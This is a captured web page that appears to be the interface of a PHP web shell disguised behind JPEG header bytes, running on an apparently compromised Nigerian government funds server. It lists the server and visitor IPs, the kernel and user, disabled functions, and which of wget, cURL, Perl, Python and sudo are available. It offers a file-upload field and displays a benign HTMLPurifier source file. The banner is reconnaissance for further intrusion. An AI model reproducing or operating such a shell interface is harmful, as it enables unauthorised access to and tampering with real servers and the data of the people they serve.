ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.188.56.179 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ |
Upload File : |
<?php // must be called POST validation /** * Adds rel="noreferrer" to any links which target a different window * than the current one. This is used to prevent malicious websites * from silently replacing the original window, which could be used * to do phishing. * This transform is controlled by %HTML.TargetNoreferrer. */ class HTMLPurifier_AttrTransform_TargetNoreferrer extends HTMLPurifier_AttrTransform { /** * @param array $attr * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return array */ public function transform($attr, $config, $context) { if (isset($attr['rel'])) { $rels = explode(' ', $attr['rel']); } else { $rels = array(); } if (isset($attr['target']) && !in_array('noreferrer', $rels)) { $rels[] = 'noreferrer'; } if (!empty($rels) || isset($attr['rel'])) { $attr['rel'] = implode(' ', $rels); } return $attr; } }